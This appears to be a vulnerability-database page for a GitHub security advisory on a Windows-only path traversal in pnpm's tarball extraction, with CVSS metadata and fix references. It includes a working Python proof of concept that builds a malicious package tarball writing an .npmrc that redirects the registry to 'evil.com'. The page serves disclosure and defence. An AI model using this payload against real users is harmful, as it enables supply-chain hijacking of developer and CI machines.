GHSA-6X96-7VC8-CM3P

Vulnerability from github – Published: 2026-01-26 21:02 – Updated: 2026-01-29 03:23
VLAI?
Summary
pnpm has Windows-specific tarball Path Traversal
Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

  • On Unix: Backslashes are literal filename characters (safe)
  • On Windows: Backslashes are directory separators (exploitable)

PoC

  1. Create a malicious tarball with entry package/foo\..\..\.npmrc
  2. Host it or use as a tarball URL dependency
  3. On Windows: pnpm install
  4. Observe .npmrc written outside package directory
import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

  • Windows pnpm users
  • Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
  • Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.28.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T21:02:44Z",
    "nvd_published_at": "2026-01-26T22:15:56Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA path traversal vulnerability in pnpm\u0027s tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes(\u0027./\u0027)) {\n  fileName = path.posix.join(\u0027/\u0027, fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode=\u0027w:gz\u0027) as tar:\n    pkg_json = b\u0027{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}\u0027\n    pkg_info = tarfile.TarInfo(name=\u0027package/package.json\u0027)\n    pkg_info.size = len(pkg_json)\n    tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n    malicious_content = b\u0027registry=https://evil.com/\\n\u0027\n    mal_info = tarfile.TarInfo(name=\u0027package/foo\\\\..\\\\..\\\\.npmrc\u0027)\n    mal_info.size = len(malicious_content)\n    tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open(\u0027malicious-pkg-1.0.0.tgz\u0027, \u0027wb\u0027) as f:\n    f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.",
  "id": "GHSA-6x96-7vc8-cm3p",
  "modified": "2026-01-29T03:23:02Z",
  "published": "2026-01-26T21:02:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm has Windows-specific tarball Path Traversal"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…